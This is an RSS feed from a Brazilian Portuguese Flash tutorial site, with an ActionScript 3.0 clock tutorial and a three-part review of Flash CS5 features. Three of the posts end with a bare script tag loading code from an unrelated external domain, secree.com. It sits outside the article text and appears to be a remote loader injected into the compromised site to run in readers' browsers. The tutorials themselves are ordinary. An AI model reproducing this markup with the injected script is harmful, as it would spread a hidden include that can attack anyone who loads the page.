<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>MXStudio &#187; Flash</title>
	<atom:link href="http://www.mxstudio.com.br/categoria/flash/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.mxstudio.com.br</link>
	<description>Macromedia e Adobe - Artigos, colunas, tutorias e muito mais...</description>
	<lastBuildDate>Thu, 02 Sep 2010 18:34:26 +0000</lastBuildDate>
	
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<!-- google_ad_section_start -->	<item>
		<title>Relógio em Flash usando ActionScript 3.0</title>
		<link>http://www.mxstudio.com.br/desenvolvimento/flash/relogio-em-flash-usando-actionscript-3-0/</link>
		<comments>http://www.mxstudio.com.br/desenvolvimento/flash/relogio-em-flash-usando-actionscript-3-0/#comments</comments>
		<pubDate>Tue, 13 Jul 2010 20:50:59 +0000</pubDate>
		<dc:creator>Jean Carlos</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[actionscript 3.0]]></category>
		<category><![CDATA[Relogio]]></category>

		<guid isPermaLink="false">http://www.mxstudio.com.br/?p=4478</guid>
		<description><![CDATA[Neste artigo vou estar mostrando como manipular a classe Date do AS3.0, no artigo anterior mostrei como usar esta mesma classe na versão 2.0.
Basicamente não mudou nada, apenas a forma de chamar o evento enter frame.Vou seguir os mesmos passos do artigo anterior, explicando passo a passo. Faremos dois relógios, um analógico e outro digital.
Primeiro [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify">Neste artigo vou estar mostrando como manipular a classe Date do AS3.0, no <a title="Fazendo um relógio em flash com Actionscript 2.0" href="http://www.mxstudio.com.br/desenvolvimento/flash/fazendo-um-relogio-em-flash-com-actionscript-2/" target="_self"><span style="text-decoration: underline">artigo anterior</span></a> mostrei como usar esta mesma classe na versão 2.0.</p>
<p style="text-align: justify">Basicamente não mudou nada, apenas a forma de chamar o evento <em>enter frame.</em>Vou seguir os mesmos passos do artigo anterior, explicando passo a passo. Faremos dois relógios, um analógico e outro digital.</p>
<p style="text-align: justify">Primeiro vamos entender a classe Date. Através desta classe podemos manipular todos os elementos relacionados a tempo, ou seja, hora, minuto, milésimos, dia, ano, etc. A utilização desta classe é muito simples e pode ser usado em qualquer trabalho que necessite de manipulação de tempo. Seja somente exibir a data e hora, como para algo mais especifico. Neste artigo vamos nos reter a somente fazer o relógio.</p>
<p style="text-align: justify">Primeiro passo: Precisar ter pelo menos o Flash CS3 instalado para poder trabalhar com o ActionScript 3.0.</p>
<p style="text-align: justify">Segundo passo: Desenhar o relógio, vou estar disponibilizando para download o design do relógio. Mas quem desejar criar o próprio, pode usar as ferramentas de desenho do flash, ou usar outro software. Vamos fazer dois relógios, um será somente analógico e o outro digital.</p>
<p style="text-align: justify">Obs.: O ponto de registro dos ponteiros devem ficar na parte central inferior, ou seja, a base do ponteiro, onde irá girar.</p>
<p style="text-align: justify">Terceiro passo: Após criar os relógios, vamos instanciar os ponteiros que devem ser movieClip e caxa de texto, campo dinâmico, para poder receber os eventos da classe Date.</p>
<p style="text-align: justify">Os ponteiros, dê os seguintes nomes:</p>
<ul>
<li>hora_mc</li>
<li>minuto_mc,</li>
<li>segundo_mc;</li>
</ul>
<p style="text-align: justify">Caixas de textos:</p>
<ul style="text-align: justify">
<li>hora_txt,</li>
<li>minutos_txt,</li>
<li>segundo_txt,</li>
<li>dia_txt, mes_txt,</li>
<li>ano_txt,</li>
<li>semana_txt;</li>
</ul>
<p style="text-align: justify">Obs.: Os nomes devem estar sem acento!</p>
<p style="text-align: justify">Quarto passo: Após dar os respectivos nomes ao objetos, vamos a programação. Crie uma nova layer, e renomeie para ~AS3.0.</p>
<p style="text-align: justify">Quinto passo: Abra o painel Actions. Indo em Window &gt; Actions ou apertando F9.</p>
<p style="text-align: justify">Sexto passo: A programação!</p>
<p style="text-align: justify">Com o painel Actions aberto, vamos inserir a primeira linha:</p>
<pre><span style="color: #0000ff">import flash.events.Event;</span></pre>
<p style="text-align: justify">Nesta linha, importamos a classe Event, para podermos utilizar o ENTER_FRAME.</p>
<p style="text-align: justify">Nas próximas linhas vamos zerar a posição dos ponteiros para zero (0).</p>
<pre><span style="color: #0000ff">clockAnalogico_mc.horas_mc.rotation = 0;
clockAnalogico_mc.minutos_mc.rotation = 0;
clockAnalogico_mc.segundos_mc.rotation = 0;</span></pre>
<p style="text-align: justify">Obs.: Os ponteiros, neste caso, se encontram dentro de um movieClip clockAnalogico_mc.</p>
<p style="text-align: justify">O próximo código, fará a chamada da função disparar_relogio.</p>
<pre><span style="color: #0000ff">this.addEventListener(Event.ENTER_FRAME, dispara_relogio);</span></pre>
<p style="text-align: justify">Nesta linha, declaramos um “ouvinte” que chama o evento ENTER_FRAME através da função declarada dentro dos parênteses. Após está linha declaramos a função que receberá todo o corpo do código.</p>
<pre><span style="color: #0000ff">function dispara_relogio(e:Event):void
{</span>
<span style="color: #0000ff">}</span></pre>
<p style="text-align: justify">Dentro das chaves iremos por todo o código responsável por fazer o relógio funcionar. Primeiro declaramos o objeto da classe Date, com o nome time.</p>
<pre><span style="color: #0000ff">var time:Date = new Date();</span></pre>
<p style="text-align: justify">Nas linhas seguintes, declaramos as variáveis que iram receber os eventos da classe Date.</p>
<pre><span style="color: #0000ff">var hora:Number;
var minuto:Number;
var segundo:Number;
var semana:Number;
var dia:Number;
var mes:Number;
var ano:Number;
var dataSemana:String;</span></pre>
<p style="text-align: justify">Após declarado as variáveis, vamos instanciar os eventos as variáveis.</p>
<pre><span style="color: #0000ff">hora = time.getHours();
minuto = time.getMinutes();
segundo = time.getSeconds();
semana = time.getDay();
dia = time.getDate();
mes = time.getMonth();
ano = time.getFullYear();</span></pre>
<p style="text-align: justify">Para simplificar, hora recebe a hora atual obtida pelo objeto time, que foi declarado no topo deste bloco, e através do método getHours() que obtemos a hora, isso ocorre para os outros eventos, mas obtendo seus respectivos valores.</p>
<p style="text-align: justify">Nos próximos passos que irmos dar funcionalidade ao relógio, primeiro o analógico.</p>
<pre><span style="color: #0000ff">// Análogico
clockAnalogico_mc.horas_mc.rotation = hora * 30;
clockAnalogico_mc.minutos_mc.rotation = minuto * 6;
clockAnalogico_mc.segundos_mc.rotation = segundo * 6;</span></pre>
<p style="text-align: justify">Cada ponteiro recebe seu respectivo valor. Nome do objeto instanciado, e a propriedade rotation, que é responsável por fazer o ponteiro girar, como seu valor, recebe o evento hora multiplicado por 30, exemplo: se for 14h o ponteiro será rotacionado 420º em seu eixo, porque 14 * 30 = 420. Isso ocorre o mesmo para os minutos e os segundos, mas ao invés de 30, será multiplicado por 6. Por estar dentro de um evento ENTER_FRAME, o codigo contigo dentro desta função ficará se repetindo infinitamente, até que a aplicação seja fechada. Isso faz com que os ponteiros se movimentem.</p>
<p style="text-align: justify">E com isso concluímos o relógio analógico. Agora faremos o relógio digital.</p>
<p style="text-align: justify">Dando continuidade ao código, vamos inserir o código responsável por fazer o relógio digital.</p>
<pre><span style="color: #0000ff">// Digital
clockDigital_mc.hora_txt.text = hora;
clockDigital_mc.minuto_txt.text = minuto;
clockDigital_mc.segundo_txt.text = segundo;</span></pre>
<p style="text-align: justify">Cada caixa de texto (que estão contidas dentro do movieClip clockDigital_mc) recebe seus respectivos valores, usando os mesmos eventos usados nos ponteiros, mas não iremos multiplicar por valor algum.</p>
<p style="text-align: justify">Basicamente nosso código está pronto, mas vamos manipular os eventos dia, mês, ano e dia da semana. Como já foi declarado anteriormente, vamos apenas manipulá-lo.</p>
<pre><span style="color: #0000ff">dataSemana = dia + "/" + mes + "/" + ano;
switch (semana)
{
case 1: clockDigital_mc.semana_txt.text = dataSemana + " - Segunda-feira"; break;
case 2: clockDigital_mc.semana_txt.text = dataSemana + " - Terça-feira"; break;
case 3: clockDigital_mc.semana_txt.text = dataSemana + " - Quarta-feira"; break;
case 4: clockDigital_mc.semana_txt.text = dataSemana + " - Quinta-feira"; break;
case 5: clockDigital_mc.semana_txt.text = dataSemana + " - Sexta-feira"; break;
case 6: clockDigital_mc.semana_txt.text = dataSemana + " - Sábado"; break;
default: clockDigital_mc.semana_txt.text = dataSemana + " - Domingo"; break;
}</span></pre>
<p style="text-align: justify">A variável dataSemana que é do tipo String, recebe o arranjo de dia/mes/ano, para ser usado dentro da instrução switch, que detecta qual e o dia da semana, e escreve na caixa de texto semana_txt (que esta dentro do movieClip clockDigital_mc) o arranjo da data junto com o dia da semana. Os valores obtidos pelo método getDay() vai de zero (0) a seis (6), respectivamente, Domingo, segunda-feira,&#8230;</p>
<p style="text-align: justify">Nosso código completo fica assim:</p>
<pre><span style="color: #0000ff">import flash.events.Event;</span>
<span style="color: #0000ff">clockAnalogico_mc.horas_mc.rotation = 0;
clockAnalogico_mc.minutos_mc.rotation = 0;
clockAnalogico_mc.segundos_mc.rotation = 0;</span>
<span style="color: #0000ff">this.addEventListener(Event.ENTER_FRAME, dispara_relogio);
function dispara_relogio(e:Event):void
{
var time:Date = new Date();
var hora:Number;
var minuto:Number;
var segundo:Number;
var semana:Number;
var dia:Number;
var mes:Number;
var ano:Number;
var dataSemana:String;</span>
<span style="color: #0000ff">hora = time.getHours();
minuto = time.getMinutes();
segundo = time.getSeconds();
semana = time.getDay();
dia = time.getDate();
mes = time.getMonth();
ano = time.getFullYear();</span>
<span style="color: #0000ff">// Análogico</span>
<span style="color: #0000ff">clockAnalogico_mc.horas_mc.rotation = hora * 30;
clockAnalogico_mc.minutos_mc.rotation = minuto * 6;
clockAnalogico_mc.segundos_mc.rotation = segundo * 6;</span>
<span style="color: #0000ff">// Digital</span>
<span style="color: #0000ff">clockDigital_mc.hora_txt.text = hora;
clockDigital_mc.minuto_txt.text = minuto;
clockDigital_mc.segundo_txt.text = segundo;</span>
<span style="color: #0000ff">dataSemana = dia + "/" + mes + "/" + ano;
switch (semana)
{
case 1: clockDigital_mc.semana_txt.text = dataSemana + " - Segunda-feira"; break;
case 2: clockDigital_mc.semana_txt.text = dataSemana + " - Terça-feira"; break;
case 3: clockDigital_mc.semana_txt.text = dataSemana + " - Quarta-feira"; break;
case 4: clockDigital_mc.semana_txt.text = dataSemana + " - Quinta-feira"; break;
case 5: clockDigital_mc.semana_txt.text = dataSemana + " - Sexta-feira"; break;
case 6: clockDigital_mc.semana_txt.text = dataSemana + " - Sábado"; break;
default: clockDigital_mc.semana_txt.text = dataSemana + " - Domingo"; break;
}
}</span></pre>
<p>É isso ai, duvidas só postar em comentários.</p>
<p>Arquivos: <a title="Design do relógio" href="http://files.myopera.com/jeancarloscbr/files/meus_artigos/mxstudio/relogio_as3_arquivos.fla" target="_blank">Design do Relógio</a>.</p>
<p>Até++!</p>
<p style="text-align: justify">
<p><script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mxstudio.com.br/desenvolvimento/flash/relogio-em-flash-usando-actionscript-3-0/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Novidades do Flash CS5 &#8211; Parte 3</title>
		<link>http://www.mxstudio.com.br/desenvolvimento/flash/novidades-do-flash-cs5-parte-3/</link>
		<comments>http://www.mxstudio.com.br/desenvolvimento/flash/novidades-do-flash-cs5-parte-3/#comments</comments>
		<pubDate>Fri, 04 Jun 2010 15:23:39 +0000</pubDate>
		<dc:creator>Natan D. Alves</dc:creator>
				<category><![CDATA[Flash]]></category>

		<guid isPermaLink="false">http://www.mxstudio.com.br/?p=3984</guid>
		<description><![CDATA[Olá comunidade.
Nesta última parte dessa série sobre as novidades do Flash CS5 vou mostrar para vocês as novidades do painel de Ações, o novo painel Code Snippets, novas opções no painel de Erros e sobre a integração com o Flash Builder.
Novidades do painel de Ações
Se tinha alguma coisa no Flash que precisava urgentemente de mudanças [...]]]></description>
			<content:encoded><![CDATA[<p>Olá comunidade.</p>
<p>Nesta última parte dessa série sobre as novidades do Flash CS5 vou mostrar para vocês as novidades do painel de Ações, o novo painel Code Snippets, novas opções no painel de Erros e sobre a integração com o Flash Builder.</p>
<h2>Novidades do painel de Ações</h2>
<p>Se tinha alguma coisa no Flash que precisava urgentemente de mudanças esse com certeza era o painel de Ações. Depois de algumas novas funcionalidades vindas no Flash CS3, o painel de ações foi deixado de lado na versão CS4 mas na versão CS5 trouxe melhorias a muito tempo pedido pelos desenvolvedores.</p>
<p>A principal melhoria, é que agora é possível usar Code Hints para Classes customizadas e importadas. O recurso Code Hints para quem não conhece exibe no painel de ações os métodos e propriedades que um determinado objeto possa ter, além dos parametros da funções, e esse recurso só funcionava para Classes e funções que vem com o Flash.</p>
<p><img src="http://www.mxstudio.com.br/wp-content/uploads/2010/06/codehint.jpg" alt="Code Hints" width="455" height="260" class="alignnone size-full wp-image-3997" /></p>
<p>Além do Code Hints, agora o painel de Ações automaticamente fecha blocos de ações que usam chaves. Ao criar um bloco de comandos e usar o abre chave ({) e for para a próxima linha, o Flash automaticamente insere um fecha chave (}) evitando assim algum erro sintaxe.</p>
<p>Outra novidade do painel de Ações é que ele automaticamente importa as Classes que estiver usando. Por exemplo, se você estiver criando uma Classe e nessa Classe você for usar um MovieClip, você é obrigado a importar a Classe MovieClip para que sua Classe funcione corretamente, então você tem que saber que a Classe MovieClip se encontra dentro do pacote flash.display.MovieClip. Com o recurso de automaticamente importar a Classe, você não precisa mais ter que decorar em quais pacotes cada Classe fica.</p>
<h2>Novo painel Code Snippets</h2>
<p>Uma novidade bem bacana é o painel Code Snippets. Nesse painel você encontra diversos códigos prontos para serem usados (algumas ações precisa que um objeto no qual deseja atribuir a ação esteja selecionado), eliminando a necessidade de ficar escrevendo sempre os mesmos códigos. Para usar esse painel, vocês escolhem quais das ações que deseja usar e só precisam clicar duas vezes sobre ela que o painel de Ações será aberto com as ações para aquela opção.</p>
<p>Outra forma de uso do painel, é selecionar qual ação que deseja, clicar com o botão direito do mouse e selecionar a opção Copy to clipboard. O Flash irá exibir uma mensagem dizendo que a ação foi copiada para seu clipboard e vai pedir para você abrir o painel de ações e colar as ações nele.</p>
<p><img src="http://www.mxstudio.com.br/wp-content/uploads/2010/06/copiado.jpg" alt="Ação copiada" width="380" height="150" class="alignnone size-full wp-image-3999" /></p>
<p>No próprio painel existem dois botões com as mesmas funcionalidades citadas acima, o primeiro botão com o símbolo de um frame com ações (com o @) ao ser clicado copia as ações para o frame atual e o segundo botão com dois quadrados copia as ações para seu clipboard.</p>
<p>A parte mais legal desse painel é a possibilidade de adicionar novos códigos a ele e compartilhar com outros usuários seus códigos. Para adicionar novos códigos ao painel, basta abrir o painel e clicar no botão Options (um botão em forma de uma engrenagem) e selecionar a opção &#8220;Create New Code Snippet&#8221;.</p>
<p><img src="http://www.mxstudio.com.br/wp-content/uploads/2010/06/novoSnippet.jpg" alt="Criando um novo Code Snippet" width="235" height="270" class="alignnone size-full wp-image-4002" /></p>
<p>Uma nova janela se abrirá, nela podemos inserir um nome para a Ação que estamos criando, uma descrição que será mostrada quando o mouse estiver sobre a ação no painel, se tiver alguma ação no painel de Ações selecionada e clicar no botão Auto Fill o Flash preenche o campo Code com ela, o campo code preenchemos com as ações que queremos adicionar ao painel e por último podemos selecionar a última opção caso desejamos que o Flash automaticamente coloque no lugar de instance_name_here a instancia do objeto selecionado (forçando o usuário a selecionar um objeto para aplicar determinada ação).</p>
<p><img src="http://www.mxstudio.com.br/wp-content/uploads/2010/06/codigo.jpg" alt="Criando um novo Code Snippet" width="578" height="315" class="alignnone size-full wp-image-3998" /></p>
<p>Ao terminar de criar um novo Snippet, ele será criado dentro de uma pasta chamada Custom. Se quiser mover esse código para uma outra pasta será preciso editar o XML que armazena todos os códigos do painel. Para edita-lo basta clicar no botão Options, Edit Code Snippets XML. Vale lembrar que para editar esse XML é preciso conhecer XML para evitar erros na hora de salvar.</p>
<p>Para compartilhar suas ações com outros usuários basta clicar no botão Options e selecionar a opção Export Code Snippets XML. Todas as ações que estão em seu painel serão salvos em um arquivo XML e é esse arquivo XML que você irá disponibilizar para outros usuários importarem para o Flash. Caso queiram remover todas as outras ações e deixar apenas as suas ações mais uma vez terão que editar o XML. Para importar o XML com Ações de outros usuários o processo é praticamente o mesmo de exportar, basta clicar no botão Options e selecionar a opção Import Code Snippets XML.</p>
<p>Um dos problemas que a Adobe precisa melhorar nesse painel é o compartilhamento dessas ações. Quando você decide exportar essas ações você não pode escolher quais das Ações do painel deseja exportar e o mesmo vale quando se importa um XML, se você importar um XML que tem as mesmas ações que o seu painel, o Flash não ignora essas ações e importa elas deixando itens duplicados. Fora que ficar editar XML não é algo legal né.</p>
<p>É possível também remover determinadas ações do painel, basta selecionar a ação desejada e clicar com o botão direito do mouse sobre ela e selecionar a opção Delete Code Snippet. Outra opção é selecionar a ação que deseja remover e clicar em Options, Delete Code Snippet. E por último, é possível retornar o painel com as ações originais, para fazer isso basta selecionar a opção Options, Reset to Default XML.</p>
<h2>Novas opções do painel de Erros (Compiler Errors)</h2>
<p>O painel de erros recebeu novas opções, agora é possível esconder ou mostrar os erros ou avisos (warnings) que seu arquivo teve ao ser compilado. Uma facilidade a mais para nós desenvolvedores.</p>
<p><img src="http://www.mxstudio.com.br/wp-content/uploads/2010/06/erros.jpg" alt="Novas opções painel Compiler Errors" width="496" height="233" class="alignnone size-full wp-image-4000" /></p>
<p>Outra opção inserida foi a possibilidade de navegar entre as mensagens através de botões (setas).</p>
<h2>Integração com o Flash Builder 4</h2>
<p>Anteriormente, se você queria usar o Flex (agora Flash Builder) para criar uma Classe (já que o painel de ações do Flash era muito inferior comparado ao Flex), o processo era muito chato. Você tinha que criar um projeto novo, criar sua Classe, depois copiar do Flex o ActionScript e colar no Flash, testar, se fosse modificar alguma coisa tinha que repetir o processo e assim vai. Agora esse processo está muito mais fácil, ao criar uma nova Classe, o Flash oferece a possibilidade de escolher em qual dos dois softwares usar, o Flash ou Flash Builder.</p>
<p><img src="http://www.mxstudio.com.br/wp-content/uploads/2010/06/escolha.jpg" alt="Escolha entre o Flash e Flash Builder" width="472" height="205" class="alignnone size-full wp-image-4001" /></p>
<p>Se decidir usar o Flash Builder, ele será aberto (caso ele não esteja aberto) e perguntará aonde está seu arquivo fla salvo e perguntará aonde deseja salvar o projeto.</p>
<p><img src="http://www.mxstudio.com.br/wp-content/uploads/2010/06/salvaronder.jpg" alt="Escolhendo local para salvar o projeto" width="550" height="415" class="alignnone size-full wp-image-4004" /></p>
<p>No Flash Builder aparecem três novas opções, a primeira chamada Publish in Flash Professional é o mesmo que no Flash ir em File, Publish, ou seja serão gerados seus arquivos selecionados no painel Publish Settings. A segunda opção chamada Test Movie in Flash Professional é o famoso Ctrl+Enter (ou Cmd+Return se estiver no Mac), o Flash Builder irá chamar o Flash para compilar seu arquivo e você poderá testa-lo. Ao fechar do arquivo compilado volta-se ao Flash Builder. E a última opção chama-se Debug in Flash Profissional, onde o Flash Builder novamente leva vocês de volta ao Flash no modo de Debug para debugar seu arquivo para achar algum erro ou verificar seu comportamento.</p>
<p><img src="http://www.mxstudio.com.br/wp-content/uploads/2010/06/opcoes.jpg" alt="Opções no Flash Builder" width="530" height="280" class="alignnone size-full wp-image-4003" /></p>
<h2>Conclusões</h2>
<p>Não tem como não ficar contente com as novidades que a versão CS5 do Flash recebeu, principalmente o painel de Ações que a muitos anos estava devendo comparado a outros IDE de desenvolvimento em Flash. A integração com o Flash Builder também foi bem vinda, além das novidades na parte de texto e o novo painel Code Snippets que na minha opinião ainda pode ser melhorado para melhor utilização.</p>
<p>Gostaria de aproveitar a oportunidade e convidar todos os leitores a visitarem meu Portfolio Online, lá você poderão encontrar todos os meus trabalhos e tutoriais desenvolvidos: <a href="http://www.natanalves.com" target="_blank">http://www.natanalves.com</a></p>
<p>Um abraço a todos e até a próxima.</p>
<p>Autor: Natan D. Alves – Moderador do Fórum de Flash &amp; ActionSctipt MXSTUDIO</p>
<p>Qualquer dúvida envie um e-mail para <a href="mailto:natanalves@mxstudio.com.br">natanalves@mxstudio.com.br</a> ou acesse nosso <a href="http://www.mxstudio.com.br/forum" target="_blank">fórum</a> <script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mxstudio.com.br/desenvolvimento/flash/novidades-do-flash-cs5-parte-3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Novidades do Flash CS5 – Parte 2</title>
		<link>http://www.mxstudio.com.br/desenvolvimento/flash/novidades-do-flash-cs5-parte-2/</link>
		<comments>http://www.mxstudio.com.br/desenvolvimento/flash/novidades-do-flash-cs5-parte-2/#comments</comments>
		<pubDate>Sun, 23 May 2010 21:50:23 +0000</pubDate>
		<dc:creator>Natan D. Alves</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[CS5]]></category>
		<category><![CDATA[Flash CS5]]></category>

		<guid isPermaLink="false">http://www.mxstudio.com.br/?p=3796</guid>
		<description><![CDATA[Olá comunidade.
Nessa segunda parte de uma série de três artigos falo sobre o novo painel SWF History, novas opções com a ferramenta de texto e sobre o Componente FLVPlayback.
Quem não acessou a primeira parte da série pode acessar através do link abaixo.
Novidades do Flash CS5 &#8211; Parte 1
Painel SWF History
No painel de propriedades (Properties) agora [...]]]></description>
			<content:encoded><![CDATA[<p>Olá comunidade.</p>
<p>Nessa segunda parte de uma série de três artigos falo sobre o novo painel SWF History, novas opções com a ferramenta de texto e sobre o Componente FLVPlayback.</p>
<p>Quem não acessou a primeira parte da série pode acessar através do link abaixo.</p>
<p><a href="http://www.mxstudio.com.br/flash/novidades-do-flash-cs5-parte-1/" target="_blank" title="Novidades do Flash CS5">Novidades do Flash CS5 &#8211; Parte 1</a></p>
<h2>Painel SWF History</h2>
<p>No painel de propriedades (Properties) agora existe uma nova opção chamada SWF History. Esse painel armazena informações como tamanho, data e hora que o swf foi gerado ao usar Ctrl+Enter (Cmd+Enter no Mac) ou no menu Control &#8211; Test Movie. Sempre que você testa seu arquivo o painel atualiza as informações.</p>
<p><img src="http://www.mxstudio.com.br/wp-content/uploads/2010/05/history1.jpg" alt="Painel History" width="282" height="102" class="alignnone size-full wp-image-3797" /></p>
<p>O bacana desse painel é que nós temos um feedback de quando houve novas versões do arquivo. Outra opção legal dele é que ele avisa quando o tamanho do SWF gerado tenha aumentado de forma significante, como se estivesse nos avisando que algo de errado poderia ter acontecido para que o arquivo tenha ficado muito maior comparado a versão anterior.</p>
<p><img src="http://www.mxstudio.com.br/wp-content/uploads/2010/05/history2.jpg" alt="Alerta no painel History" width="282" height="130" class="alignnone size-full wp-image-3798" /></p>
<p>O painel exibe apenas as três últimas informações do swf gerado, mas vocês podem recuperar todas as outras informações clicando no botão Log, que irá exibir no painel Output todas as outras informações.</p>
<p><img src="http://www.mxstudio.com.br/wp-content/uploads/2010/05/history3.jpg" alt="History Log" width="370" height="234" class="alignnone size-full wp-image-3799" /></p>
<p>Existe ainda a possibilidade de apagar o histórico clicando no botão Clear. Esse painel funciona apenas para arquivos salvos para o Flash CS5, se estiver com um arquivo que foi salvo nas versões anteriores o painel ira mostrar as informações, mas ao salvar para outra versão do Flash e abrir o arquivo novamente não existirá as informações anteriores.</p>
<h2>Novas opções da Ferramenta Texto</h2>
<p>A ferramenta texto foi a que mais obteve novas funcionalidades no Flash CS5. Anteriormente, tínhamos três opções na hora de criar um campo de texto, Texto estático, Texto dinamico e Texto input. Agora no CS5, essas três opções ficam disponíveis apenas quando selecionamos a opção Classic Text, mas a maior novidade é o formato TLF Text (ou Text Layout Format). Com essa opção selecionada ainda podemos criar campos de texto da forma anterior (texto estático, dinamico e input), só que com ele temos uma infinidade de opções a mais de personalização.</p>
<p><img src="http://www.mxstudio.com.br/wp-content/uploads/2010/05/opcoes.jpg" alt="Algumas opções para o campo de texto" width="534" height="423" class="alignnone size-full wp-image-3908" /></p>
<p>Vamos começar pela novidade mais legal, a possibilidade de criar campos de textos ligados, quem utiliza o InDesign conhece essa funcionalidade já faz um tempo. O que essa ferramenta faz basicamente é dizer ao Flash que existem dois ou mais campos de texto em posições diferentes, fontes, cores e tamanhos diferentes, e se um desses campos não tiver espaço para exibir o texto desejado o texto seguirá para o próximo campo ligado.</p>
<p>Mas como fazer isso? Selecionem a ferramenta de Texto, no painel Properties (propriedades) selecionem a opção TFL Text e no palco criem um campo do tamanho que desejarem e com um texto maior que o tamanho do campo. Vocês vão reparar que no lado superior esquerdo e no lado inferior direito vão aparecer duas caixas (se o texto for maior que o tamanho do campo de texto a caixa do lado direito inferior aparece com cor vermelha), ao clicar em uma dessas caixas o cursor do mouse muda indicando que se clicar no palco um novo campo de texto irá ser criado e ele estará ligado a um outro campo, se você já tiver um campo no palco e clicar sobre ele os dois campos ficam ligados.</p>
<p><img src="http://www.mxstudio.com.br/wp-content/uploads/2010/05/textoligado.jpg" alt="Campos de texto ligados" width="445" height="270" class="alignnone size-full wp-image-3898" /></p>
<p>Infelizmente a criação de campos ligados só fica disponível para arquivos que usam ActionScript 3 e FlashPlayer 10, mais um bom motivo para que os usuários passem a adotar o ActionScript 3 como linguagem de programação padrão no Flash pois as demais versões não terão atualizações.</p>
<p>Continuando com as novidades da Ferramenta de Texto, vou mostrar agora como criar campos de texto com colunas. Mais uma vez com a ferramenta de texto selecionada e a opção TLF Text selecionada, criem um campo de texto no palco do tamanho que desejam e insiram um texto qualquer. No painel Properties (ou propriedades) na aba Container and Flow existe uma opção chamada Columns (colunas) onde a primeira opção é a quantidade de colunas que o campo de texto terá e a segunda opção é o espaçamento dessas colunas.</p>
<p><img src="http://www.mxstudio.com.br/wp-content/uploads/2010/05/colunas1.jpg" alt="Texto em colunas" width="348" height="556" class="alignnone size-full wp-image-3899" /></p>
<h2>Novidades do Componente FLVPlayBack</h2>
<p>No Flash CS5 existem duas versões do Componente FLVPlayback, uma chamada apenas de FLVPlayback e a outra chamada FLVPlayback 2.5. A diferença entre as duas versões basicamente é que na versão 2.5 melhora a performance e a correção de vídeos em streaming, além da possibilidade do uso de DVR (que significa Digital Video Recorder) que possibilita novas opções no streaming de vídeo no Flash. Outra novidade são os novos Skins do Componente, que agora exibem a duração e o tempo do vídeo.</p>
<p>Mas a novidade mais legal é a possibilidade de assistir o vídeo no palco do Flash sem a necessidade de exportar seu arquivo para teste. Com o Componente no Palco e com o vídeo desejado selecionado, o Componente se comporta no palco da mesma maneira que se comporta quando se testa seu arquivo.</p>
<p><img src="http://www.mxstudio.com.br/wp-content/uploads/2010/05/video.jpg" alt="Componente rodando vídeo no palco" width="373" height="308" class="alignnone size-full wp-image-3900" /></p>
<h2>Conclusões</h2>
<p>Sem dúvida as novidades mais legais até agora do Flash CS5 vem da ferramenta de Texto, mas ainda existe a terceira e última parte dessa série de artigos sobre as novidades do Flash CS5, e na última parte mostrarei as novidades no painel de ações, um novo painel chamado Code Snippets, novidades no painel de Erro e sobre a integração do Flash CS5 com o Flash Builder 4.</p>
<p>Gostaria de aproveitar a oportunidade e convidar todos os leitores a visitarem meu Portfolio Online, lá você poderão encontrar todos os meus trabalhos e tutoriais desenvolvidos: <a href="http://www.natanalves.com">http://www.natanalves.com</a></p>
<p>Um abraço a todos e até a próxima.</p>
<p>Autor: Natan D. Alves – Moderador do Fórum de Flash &amp; ActionSctipt MXSTUDIO</p>
<p>Qualquer dúvida envie um e-mail para <a href="mailto:natanalves@mxstudio.com.br">natanalves@mxstudio.com.br</a> ou acesse nosso <a href="http://www.mxstudio.com.br/forum">fórum</a> <script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mxstudio.com.br/desenvolvimento/flash/novidades-do-flash-cs5-parte-2/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Novidades do Flash CS5 &#8211; Parte 1</title>
		<link>http://www.mxstudio.com.br/desenvolvimento/flash/novidades-do-flash-cs5-parte-1/</link>
		<comments>http://www.mxstudio.com.br/desenvolvimento/flash/novidades-do-flash-cs5-parte-1/#comments</comments>
		<pubDate>Mon, 03 May 2010 00:22:59 +0000</pubDate>
		<dc:creator>Natan D. Alves</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[Flash CS5]]></category>

		<guid isPermaLink="false">http://www.mxstudio.com.br/?p=3737</guid>
		<description><![CDATA[Olá comunidade.
Nessa primeira parte da série de artigos sobre o Flash CS5, estarei mostrando para vocês as novidades visuais, criação de aplicativos para iPhone, novos elementos gráficos da ferramenta Deco Tool, novas opções para a ferramenta Bone e integração com serviços online chamado Adobe CS Live.
Novo visual
Pela terceira vez, a Adobe decide mudar a identidade [...]]]></description>
			<content:encoded><![CDATA[<p>Olá comunidade.</p>
<p>Nessa primeira parte da série de artigos sobre o Flash CS5, estarei mostrando para vocês as novidades visuais, criação de aplicativos para iPhone, novos elementos gráficos da ferramenta Deco Tool, novas opções para a ferramenta Bone e integração com serviços online chamado Adobe CS Live.</p>
<h2>Novo visual</h2>
<p>Pela terceira vez, a Adobe decide mudar a identidade visual dos aplicativos do pacote Creative Suite. A primeira mudança que percebemos já começa no ícone dos aplicativos, alteração que não me agradou muito.</p>
<p><img src="http://www.mxstudio.com.br/wp-content/uploads/2010/05/icones.jpg" alt="Ícones CS5" width="607" height="452" class="size-full wp-image-3746" /></p>
<p>Além dos ícones, a tela inicial também passou por alterações e ficaram bem mais legais comparado as mudanças nos ícones.</p>
